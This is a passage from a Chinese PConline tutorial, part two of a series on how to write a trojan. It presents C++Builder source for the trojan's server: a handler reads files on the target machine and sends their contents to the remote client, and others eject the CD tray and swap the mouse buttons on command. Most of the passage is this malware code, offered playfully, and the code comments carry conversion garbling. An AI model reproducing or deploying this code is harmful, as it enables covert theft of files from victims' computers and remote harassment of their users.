用户 密码
太平洋系列网站:太平洋汽车网 | 太平洋游戏网
首  页 | 数码世界 | 手机通讯 | 硬件资讯 | 软件资讯 | 招聘与培训 | 游戏天下 | 下载中心 科技动态 | 今日报价 | 渠道商情 | 产品大全 | 笔 记 本 | 教你买电脑 | 评 测 室 | 短信中心
论  坛 | 影音家电 | 摄影专区 | 玩家E族 | 竞技天地 | Flash 动漫 | 有奖活动 |

-
您现在的位置:软件资讯 > 开发特区 > 开发语言 > C++Builder
木马是如何编写的(二)

出处:PConline
责任编辑:pjl

[04-2-14 9:29] 作者:周侃/中国软件
  够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{
else if(temp.SubString(0,4)=="type")
{
file://如/果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将/目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打/开目标文件准备读
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已试了100次了
Socket->SendText("Fail By Open File");
file://返/回“Fail By Open File”的错误信息
goto END;
file://跳/到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定/义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从/目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text/的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重/复
};
Return_Text=Return_Text+temp_content;
file://Return_Text/的内容加上刚才的字符
fclose(fp);
file://关/闭目标文件
Socket->SendText(Return_Text);
file://返/回Return_Text的内容,即你查看文件的内容
}
}

  咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{
else if(temp=="open")
{
file://如/果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就/弹出光驱的托盘
}
else if(temp=="close")
{
file://如/果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就/收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}

  接着就是交换目标机的鼠标左右键,代码如下:

{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交/换鼠标左右键,简单吧?
}
}

发给好友 投稿给我们 加入收藏 返回顶部

相关文章:
木马是如何编写的(一)
教您自己动手删除木马、病毒
关于“广外女生”木马的问题
清除双关联木马“聪明基因”
流行木马大清除
当心QQ木马!
Borland C++Builder 5.0教程(目录)
IT培训十大热门文章

内容搜索 
高级搜索
本栏今日焦点